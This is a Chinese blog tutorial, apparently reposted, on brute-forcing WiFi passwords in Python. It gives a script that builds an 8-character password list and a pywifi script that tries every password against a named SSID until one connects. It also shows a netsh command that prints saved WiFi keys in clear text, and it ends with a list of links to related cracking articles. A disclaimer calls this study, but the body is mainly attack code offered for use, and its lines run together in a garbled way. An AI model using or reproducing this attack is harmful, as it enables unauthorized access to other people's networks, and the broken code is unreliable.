本文非原创,参考:Python破解WIFI密码详细介绍

对于代码有细微修改;

增加注意事项介绍;

声明:本文只是从技术的角度来阐述学习Pywifi库!

并不建议大家做任何破坏性的操作和任何不当的行为!

并不建议大家做任何破坏性的操作和任何不当的行为!

python编程实战:暴力破解WIFI密码

  • 1、破解wifi密码的流程
  • 2、实现
    • 【注意事项】
  • 3、题外话:查看电脑已连接的 WIFI 密码

1、破解wifi密码的流程

① 生成数字组合的密码本(复杂的就是大小写字母和数字组合)

密码本生成需要时间,文末已给纯数字密码本~

② 通过 使用 pywifi 模块,根据密码本暴力破解
(时间未知,仅提供思路)

2、实现

① 先安装 pywifi

1,win+r, 然后输入cmd

2,pip install pywifi

② 生成密码本(有密码本直接第三步)

代码:

import itertools as its
import datetime# 记录程序运行时间
start = datetime.datetime.now()
words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'  # 大小写字母 + 数字 组合
# words = '0123456789' # 纯数字
# 生成密码的位数
r = its.product(words, repeat=8)  # 即生成8位密码,正常情况下热点密码位数为8
dic = open(r"C:\Users\Administrator\Desktop\alphabetPass.txt", 'a')  # alphabetPass.txt 是密码本名称
for i in r:dic.write(''.join(i))dic.write(''.join('\n'))print(i)dic.close()
print('密码本生成好了')
end = datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end - start))

效果:

③ 穷举密码

代码:

注意修改对应wifi 名称

# coding:utf-8import pywifi
from pywifi import const
import time
import datetime# 测试连接,返回链接结果
def wifiConnect(pwd):# 抓取网卡接口wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有连接ifaces.disconnect()time.sleep(1)wifistatus = ifaces.status()if wifistatus == const.IFACE_DISCONNECTED:# 创建WiFi连接文件profile = pywifi.Profile()# 要连接WiFi的名称profile.ssid = "CU_fb5g_2.4G"# 网卡的开放状态profile.auth = const.AUTH_ALG_OPEN# wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 调用密码profile.key = pwd# 删除所有连接过的wifi文件ifaces.remove_all_network_profiles()# 设定新的连接文件tep_profile = ifaces.add_network_profile(profile)ifaces.connect(tep_profile)# wifi连接时间time.sleep(3)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi连接")# 读取密码本def readPassword():print("开始破解:")# 密码本路径path = "C:\\Users\\Administrator\\Desktop\\numberPass.txt"# 打开文件file = open(path, "r")while True:try:# 一行一行读取pad = file.readline()bool = wifiConnect(pad)if bool:print("密码已破解: ", pad)print("WiFi已自动连接!!!")breakelse:# 跳出当前循环,进行下一次循环print("密码破解中....密码校对: ", pad)except:continuestart = datetime.datetime.now()
readPassword()
end = datetime.datetime.now()
print("破解WIFI密码一共用了多长时间:{}".format(end - start))

【注意事项】

一。可能会报错:ModuleNotFoundError: No module named 'comtypes

解决方法:

1.pycharm可能就直接提示了,自己留意查看,点击安装即可
2. 导入pywifi时,报错ModuleNotFoundError: No module named ‘comtypes’

二、

效果

时间可能很久很久! 但是操作还是可操作的!

就当一个参考思路吧!

3、题外话:查看电脑已连接的 WIFI 密码

① win+r, 然后输入cmd

② 输入命令:netsh wlan show profile name=“啦啦啦的iPhone” key=clear

蓝色字体啦啦啦的iPhone 是你正在连接的 WiFi 或者热点的名称,记得替换一下!

结果:00000000 就是我开的热点的密码

python编程实战(三):暴力破解WIFI密码!亲测运行有效!相关推荐

  1. 自学python当黑客-用Python做黑客,暴力破解wifi密码

    前几篇文章主要介绍了使用delphi开发后门及简单的远控的知识,有小伙伴说delphi已经过时了没人用了,但是笔者觉得编程语言只是实现功能的一种方式,使用你熟悉或者喜欢的语言即可. 在最近的公司项目开 ...

  2. Kali使用Aircrack-ng进行暴力破解WIFI密码

    Kali系统使用Aircrack-ng进行暴力破解WIFI密码 一.什么是Aircrack-ng 运行环境 插入网卡设备 二.破解流程 1.进入管理员模式 2.查看网卡信息 3.杀掉冲突进程 4.查看 ...

  3. NO.28——Kali Linux无线渗透暴力破解WIFI密码

    近期放暑假在家闲来无事,前几天在手机上下载了腾讯wifi管家,意外地链接上了隔壁邻居的WIFI,但是在手机端无法看到密码明文,因此在考虑是否能通过Kali暴力破解wifi密码. Kali Linux常 ...

  4. 使用Kali Linux 暴力破解wifi密码详细步骤

    使用Kali Linux 暴力破解wifi密码详细步骤所谓暴力破解就是穷举法,将密码字典中每一个密码依次去与握手包中的密码进行匹配,直到匹配成功.所以能否成功破解wifi密码取决于密码字典本身是否包含 ...

  5. 如何在Windows平台用Java代码暴力破解WIFI密码

    开始进入正题.在网上找了很多wifi破解工具,都是linux平台下用的,然后还不支持虚拟机装linux.因为很多笔记本装虚拟机都识别不了内置网卡.所以得把系统刻到U盘,然后用U盘启动.但是我现在穷得连 ...

  6. [python爬虫]暴力破解Wifi密码

    遇到的错误 一.Python在终端通过pip安装好包以后,在Pycharm中依然无法使用的解决办法 解决方案一: 在Pycharm中,依次打开File->Settings,弹窗如下图: 点击右侧 ...

  7. python暴力破解wifi密码原理

    首先,用python 函数生成一个类似的密码本,这里是5位数的,12345,qwert ,---,密码本结束完后会讲数据储存在超级密码本里],然后导入那个超级密码本再进行另一个函数比对,如果比对成功则 ...

  8. 通过Kali Linux暴力破解WiFi密码

    所需工具:Kali Linux系统.无线网卡(免驱动) 需要用到的命令: #查看网卡是否支持监听模式 airmon-ng #开启网卡监听 airmon-ng start 网卡名 #扫描附近WiFi a ...

  9. 在linux系统下暴力破解WiFi密码

    结论:可以破开自己的,破不开别人家的.在此献上思路,仅供学习交流. 网络上的教程说的都太学术化了,其实暴力破解,就是拿wifi字典去一个一个试,如果邻居家的密码,正好在你的字典库里,那你就能成功找到, ...

  10. aircrack-ng暴力破解WIFI密码

    使用工具: aircrack-ng kali支持的无线网卡 第一步:检查无线网卡插上后,是否识别 第二步:airmon-ng check kill (我的理解是杀死有可能妨碍监听模式的进程) 第三步: ...

最新文章

  1. 数据库设计三大范式和ER模型
  2. 科大讯飞年报出炉,2018每天赚148万元,53%是政府补助
  3. JDK 8的Calendar.Builder
  4. maven项目打包时生成dependency-reduced-pom.xml
  5. Faster-RCNN 训练自己的数据
  6. Centos7安装Python3的方法
  7. jquery 扩展ajax请求,jQuery如何管理、扩展AJAX请求
  8. 在xp系统如何把文件上传到ftp服务器,xp系统怎么上传到ftp服务器
  9. 魔兽世界服务端linux,LightsHope/vMangos – 基于Ubuntu服务器的WOW私服搭建教程
  10. 屈臣氏供应链数据分析
  11. oracle常用sql语句查询语句,Oracle常用sql语句
  12. Ubuntu下将dmg文件转换成dcr和ISO文件
  13. python的tkinter插入图片_Python3 Tkinter基础 Text Photoimage 文本框中插入一张图片
  14. 新生活、新成长、新认知
  15. 教你创建Oracle复合索引(精)
  16. srttrail txt无法开机_win10系统如何修复srttrail.txt错误提示 srttrail不能开机的解决方法...
  17. iframe视频代码_在Excel中创建IFRAME代码
  18. A-Z,a-z,0-9的unicode编码表
  19. windows里的【.inf】文件
  20. 扇贝编程python学习笔记-基础篇10

热门文章

  1. 【素史】曼怛罗(70)
  2. Point to Raster 工作原理
  3. 布料系统原理浅析和在Unity手游中的应用
  4. javascript时钟代码 DEMO-002
  5. Metasploit之——社会工程学工具包
  6. excel使用教程_有哪些超好用、高质量的Excel学习网站?
  7. 凤凰系统运行linux,凤凰系统率先升级内核到Linux4.9,支持更多新硬件
  8. 双光耦开关电源电路图_光耦817应用电路图汇总(PC817光电耦合器/开关电源/TL431)...
  9. 雷霄骅---巨星陨落
  10. (TeamTalk服务端源码分析一)TeamTalk服务端部署